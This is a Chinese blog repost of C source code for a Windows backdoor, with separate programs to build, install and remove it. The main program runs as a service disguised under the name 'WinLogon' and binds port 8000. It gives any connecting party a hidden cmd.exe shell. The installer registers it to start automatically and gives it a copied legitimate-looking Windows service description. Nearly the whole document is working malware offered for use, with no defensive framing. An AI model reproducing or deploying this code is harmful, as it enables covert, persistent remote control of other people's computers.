博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
用服务启动后门的C程序实例(转)
阅读量:5776 次
发布时间:2019-06-18

本文共 6273 字,大约阅读时间需要 20 分钟。

软件作者:pt007[at]vip.sina.com版权所有,转载请注明版权
信息来源:邪恶八进制信息安全团队( )
1、后门服务的代码:backforservice1.c
Copy code
ExpandedBlockStart.gif
ContractedBlock.gif
/**/
/* 在本机开到服务端口8000,也可以换成其它的反弹型后门*/
None.gif#include 
<
winsock2.h
>
None.gif#include 
<
windows.h
>
None.gif#include 
<
stdio.h
>
None.gif
//
预编译指令,下面是设置连接器link中的project options,连接器选项值请参考MSDN:
ExpandedBlockStart.gifContractedBlock.gif
/**/
/*#pragma comment(linker,"/subsystem:windows /FILEALIGN:0x200 /ENTRY:main")//用来屏蔽控制台应用程序的窗口
InBlock.gif#pragma comment(linker,"/IGNORE:4078")
ExpandedBlockEnd.gif#pragma comment(linker,"/MERGE:.idata=.text /MERGE:.data=.text /MERGE:.rdata=.text /MERGE:.text=DNA32r /SECTION:DNA32r,EWR")
*/
None.gif#pragma comment(lib, 
"
ws2_32.lib
"
//
链接到WS2_32.LIB库
None.gif
#define
 MasterPort 8000 
//
连接端口
None.gif
None.gif
ExpandedBlockStart.gifContractedBlock.gif
/**/
None.gif
//
 Declare several global variables to share 
None.gif
//
 their values across multiple functions of your program.
ExpandedBlockStart.gifContractedBlock.gif
/**/
None.gif
SERVICE_STATUS          ServiceStatus; 
None.gifSERVICE_STATUS_HANDLE  hStatus; 
None.gif
ExpandedBlockStart.gifContractedBlock.gif
/**/
None.gif
//
 Make the forward definitions of functions prototypes.
None.gif
//
ExpandedBlockStart.gifContractedBlock.gif
/**/
None.gif
void
  ServiceMain(
int
 argc, 
char
**
 argv); 
None.gif
void
  ControlHandler(DWORD request);
None.gif
void
 Entrypoint();
None.gif
None.gif
None.gif
//
 Control Handler
None.gif
void
 ControlHandler(DWORD request) 
ExpandedBlockStart.gifContractedBlock.gif
dot.gif
InBlock.gif  
switch(request) 
ExpandedSubBlockStart.gifContractedSubBlock.gif  
dot.gif
InBlock.gif      
case SERVICE_CONTROL_STOP: 
InBlock.gif        OutputDebugString(
"Monitoring stopped.");
InBlock.gif          
//printf("Monitoring stopped.\n");
InBlock.gif
InBlock.gif        ServiceStatus.dwWin32ExitCode 
= 0
InBlock.gif        ServiceStatus.dwCurrentState 
= SERVICE_STOPPED; 
InBlock.gif        SetServiceStatus (hStatus, 
&ServiceStatus);
InBlock.gif        
return
InBlock.gif
InBlock.gif      
case SERVICE_CONTROL_SHUTDOWN: 
InBlock.gif        OutputDebugString(
"Monitoring stopped.");
InBlock.gif        
//printf("Monitoring stopped.\n");
InBlock.gif
InBlock.gif        ServiceStatus.dwWin32ExitCode 
= 0
InBlock.gif        ServiceStatus.dwCurrentState 
= SERVICE_STOPPED; 
InBlock.gif        SetServiceStatus (hStatus, 
&ServiceStatus);
InBlock.gif        
return
InBlock.gif        
InBlock.gif      
default:
InBlock.gif        
break;
ExpandedSubBlockEnd.gif    }
 
InBlock.gif
InBlock.gif    
// Report current status
InBlock.gif
    SetServiceStatus (hStatus, &ServiceStatus);
InBlock.gif
InBlock.gif    
return
ExpandedBlockEnd.gif}
None.gif
None.gif
void
 ServiceMain(
int
 argc, 
char
**
 argv) 
ExpandedBlockStart.gifContractedBlock.gif
dot.gif
InBlock.gif  ServiceStatus.dwServiceType 
=  SERVICE_WIN32; 
InBlock.gif  ServiceStatus.dwCurrentState 
= SERVICE_START_PENDING; 
InBlock.gif  ServiceStatus.dwControlsAccepted  
= SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_SHUTDOWN;
InBlock.gif  ServiceStatus.dwWin32ExitCode 
= 0
InBlock.gif  ServiceStatus.dwServiceSpecificExitCode 
= 0
InBlock.gif  ServiceStatus.dwCheckPoint 
= 0
InBlock.gif  ServiceStatus.dwWaitHint 
= 0
InBlock.gif
InBlock.gif  hStatus 
= RegisterServiceCtrlHandler(
InBlock.gif      
"WinLogon"
InBlock.gif      (LPHANDLER_FUNCTION)ControlHandler); 
InBlock.gif  
if (hStatus == (SERVICE_STATUS_HANDLE)0
ExpandedSubBlockStart.gifContractedSubBlock.gif  
dot.gif
InBlock.gif      
// Registering Control Handler failed
InBlock.gif
      return
ExpandedSubBlockEnd.gif  }
  
InBlock.gif
InBlock.gif    
InBlock.gif  
// We report the running status to SCM. 
InBlock.gif
  ServiceStatus.dwCurrentState = SERVICE_RUNNING; 
InBlock.gif  SetServiceStatus (hStatus, 
&ServiceStatus);
InBlock.gif
InBlock.gif  Entrypoint();
InBlock.gif  
return
ExpandedBlockEnd.gif}
None.gif
None.gif
void
 Entrypoint()
ExpandedBlockStart.gifContractedBlock.gif
dot.gif
{
InBlock.gifWSADATA WSADa;
InBlock.gifSOCKADDR_IN SockAddrIn;
InBlock.gifSOCKET CSocket,SSocket;
InBlock.gif
int iAddrSize;
InBlock.gif
InBlock.gifPROCESS_INFORMATION ProcessInfo; 
//进程结构信息,136页
InBlock.gif
STARTUPINFO StartupInfo; //核心编程第四章20页,高级编程63页
InBlock.gif
InBlock.gif
char szCMDPath[255];
InBlock.gif
InBlock.gif
//-------------------结构清0
InBlock.gif
ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
InBlock.gifZeroMemory(
&StartupInfo, sizeof(STARTUPINFO));
InBlock.gifZeroMemory(
&WSADa, sizeof(WSADATA));
InBlock.gif
//----初始化数据----
InBlock.gif
//获取cmd路径:
InBlock.gif
GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));//143页
InBlock.gif
//加载ws2_32.dll,初使化winsock版本2.2:
InBlock.gif
WSAStartup(0x0202,&WSADa);//即WSAStartup(MAKEWORD(2,2),&wsaData);
InBlock.gif
InBlock.gif
//设置本地信息和绑定协议:
InBlock.gif
SockAddrIn.sin_family = AF_INET; //表示IPv4地址族
InBlock.gif
SockAddrIn.sin_addr.s_addr = INADDR_ANY; //表示任意地址
InBlock.gif
SockAddrIn.sin_port = htons(MasterPort); //端口号
InBlock.gif
CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 00); //创建一个套接字
InBlock.gif
InBlock.gif
//绑定端口:
InBlock.gif
bind(CSocket,(SOCKADDR *)&SockAddrIn,sizeof(SockAddrIn));
InBlock.giflisten(CSocket,
1);
InBlock.gifiAddrSize 
= sizeof(SockAddrIn);
InBlock.gifSSocket 
= accept(CSocket,(SOCKADDR *)&SockAddrIn,&iAddrSize);//返回一个已连接套接字SSocket
InBlock.gif
//开始连接远程服务器:
InBlock.gif
StartupInfo.cb = sizeof(STARTUPINFO);
InBlock.gifStartupInfo.wShowWindow 
= SW_HIDE;//表示隐藏窗口
InBlock.gif
StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
InBlock.gif
//控制台输入与输出句柄指向已连接套接字SSocket:
InBlock.gif
StartupInfo.hStdInput = (HANDLE)SSocket;
InBlock.gifStartupInfo.hStdOutput 
= (HANDLE)SSocket;
InBlock.gifStartupInfo.hStdError 
= (HANDLE)SSocket;
InBlock.gif
//创建匿名管道:
InBlock.gif
CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
InBlock.gifWaitForSingleObject(ProcessInfo.hProcess, INFINITE);
//142页,函数准备等待到hProcess句柄标识的进程终止运行为止
InBlock.gif
CloseHandle(ProcessInfo.hProcess);//关闭进程和线程句柄
InBlock.gif
CloseHandle(ProcessInfo.hThread);
InBlock.gif
InBlock.gifclosesocket(CSocket);
//关闭这些套接字
InBlock.gif
closesocket(SSocket);
InBlock.gifWSACleanup();
//让Winsock释放所有分配的资源,并取消此应用程序挂起的Winsock调用
InBlock.gif
//关闭连接卸载ws2_32.dll
InBlock.gif
return;
ExpandedBlockEnd.gif}
None.gif
None.gif
void
 main(
int
 argc, 
char
*
 argv[])
ExpandedBlockStart.gifContractedBlock.gif
dot.gif
InBlock.gif  SERVICE_TABLE_ENTRY ServiceTable[
2];
InBlock.gif  ServiceTable[
0].lpServiceName = "WinLogon";
InBlock.gif  ServiceTable[
0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
InBlock.gif
InBlock.gif  ServiceTable[
1].lpServiceName = NULL;
InBlock.gif  ServiceTable[
1].lpServiceProc = NULL;
InBlock.gif  
// Start the control dispatcher thread for our service
InBlock.gif
  StartServiceCtrlDispatcher(ServiceTable);
ExpandedBlockEnd.gif}
None.gif
2、下面是创建服务的代码:services2.c
Copy code
None.gif
#include 
<
windows.h
>
None.gif#include 
<
stdio.h
>
None.gif
ExpandedBlockStart.gifContractedBlock.gif
int
 main(
void
)
dot.gif
{
InBlock.gif    
char* buff;
InBlock.gif    SC_HANDLE  hSCManager,hService;
InBlock.gif    DWORD hEorr;
InBlock.gif    LPVOID Info;
InBlock.gif
InBlock.gif    Info
="为用户和服务身份验证维护此计算机和域控制器之间的安全通道。";
InBlock.gif    
//buff="c:\\Program Files\\Microsoft Visual Studio\\MyProjects\\service\\MemoryStatus\\Debug\\MemoryStatus.exe";
InBlock.gif
    buff="C:\\Program Files\\Microsoft Visual Studio\\MyProjects\\service\\Debug\\backforservice1.exe";
InBlock.gif
//第一步是打开SCM,获取句柄然后允许创建服务:
InBlock.gif
    hSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//SC_MANAGER_CREATE_SERVICE);
InBlock.gif
    if (hSCManager == NULL)
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        hEorr 
=GetLastError(); 
InBlock.gif        printf(
"Open SCManager falsedot.gif..\n",hEorr);
InBlock.gif        exit(
0);
ExpandedSubBlockEnd.gif    }
InBlock.gif
//第二步是创建服务:
InBlock.gif
    hService = CreateService(hSCManager,"WinLogon","WinLogon",SERVICE_ALL_ACCESS, SERVICE_WIN32_SHARE_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,buff, NULL, NULL, NULL, NULL, NULL);//SERVICE_START+DELETE
InBlock.gif
    if (hService!=NULL) 
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{    printf("Create service success!\n");
InBlock.gif          ChangeServiceConfig2(hService,SERVICE_CONFIG_DESCRIPTION,
&Info);
InBlock.gif          
//第三步是启动服务:    
InBlock.gif
            StartService(hService,0,NULL);
InBlock.gif            
ExpandedSubBlockEnd.gif        }
InBlock.gif    
else 
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{printf("Create service error!\n");
ExpandedSubBlockEnd.gif    }
InBlock.gif    CloseServiceHandle(hSCManager);
//关闭服务句柄
InBlock.gif
    CloseServiceHandle(hService);
InBlock.gif
return 0;
ExpandedBlockEnd.gif}
None.gif
3、下面是删除服务的代码:deleteservice.c
Copy code
None.gif
#include 
<
windows.h
>
None.gif#include 
<
stdio.h
>
None.gif
ExpandedBlockStart.gifContractedBlock.gif
int
 main(
void
)
dot.gif
{
InBlock.gif    SC_HANDLE  hSCManager,hService;
InBlock.gif    DWORD hEorr;
InBlock.gif        
InBlock.gif
InBlock.gif
//第一步是打开SCM,获取句柄然后允许打开服务:
InBlock.gif
    hSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//SC_MANAGER_CREATE_SERVICE);
InBlock.gif
    if (hSCManager == NULL)
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        hEorr 
=GetLastError(); 
InBlock.gif        printf(
"Open SCManager falsedot.gif..\n",hEorr);
InBlock.gif        exit(
0);
ExpandedSubBlockEnd.gif    }
InBlock.gif
//第二步是打开服务:
InBlock.gif
    hService = OpenService(hSCManager,"WinLogon",SERVICE_ALL_ACCESS);
InBlock.gif    
if (hService!=NULL) 
ExpandedSubBlockStart.gifContractedSubBlock.gif        
dot.gif{
InBlock.gif          
//第三步是删除指定服务:    
InBlock.gif
          if(DeleteService(hService))
InBlock.gif              printf(
"Delete service success!\n");
ExpandedSubBlockEnd.gif                  }
InBlock.gif    
else 
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{printf("Delete service error!\n");
ExpandedSubBlockEnd.gif    }
InBlock.gif    CloseServiceHandle(hSCManager);
//关闭服务句柄
InBlock.gif
        CloseServiceHandle(hService);
InBlock.gif  
return 0;
ExpandedBlockEnd.gif}
None.gif

转载于:https://www.cnblogs.com/nniixl/archive/2007/04/28/730470.html

你可能感兴趣的文章
runtime运行时 isa指针 SEL方法选择器 IMP函数指针 Method方法 runtime消息机制 runtime的使用...
查看>>
LeetCode36.有效的数独 JavaScript
查看>>
Scrapy基本用法
查看>>
PAT A1030 动态规划
查看>>
自制一个 elasticsearch-spring-boot-starter
查看>>
软件开发学习的5大技巧,你知道吗?
查看>>
java入门第二季--封装--什么是java中的封装
查看>>
【人物志】美团前端通道主席洪磊:一位产品出身、爱焊电路板的工程师
查看>>
一份关于数据科学家应该具备的技能清单
查看>>
机器学习实战_一个完整的程序(一)
查看>>
Web框架的常用架构模式(JavaScript语言)
查看>>
如何用UPA优化性能?先读懂这份报告!
查看>>
这些Java面试题必须会-----鲁迅
查看>>
Linux 常用命令
查看>>
NodeJS 工程师必备的 8 个工具
查看>>
CSS盒模型
查看>>
ng2路由延时加载模块
查看>>
使用GitHub的十个最佳实践
查看>>
脱离“体验”和“安全”谈盈利的游戏运营 都是耍流氓
查看>>
慎用!BLEU评价NLP文本输出质量存在严重问题
查看>>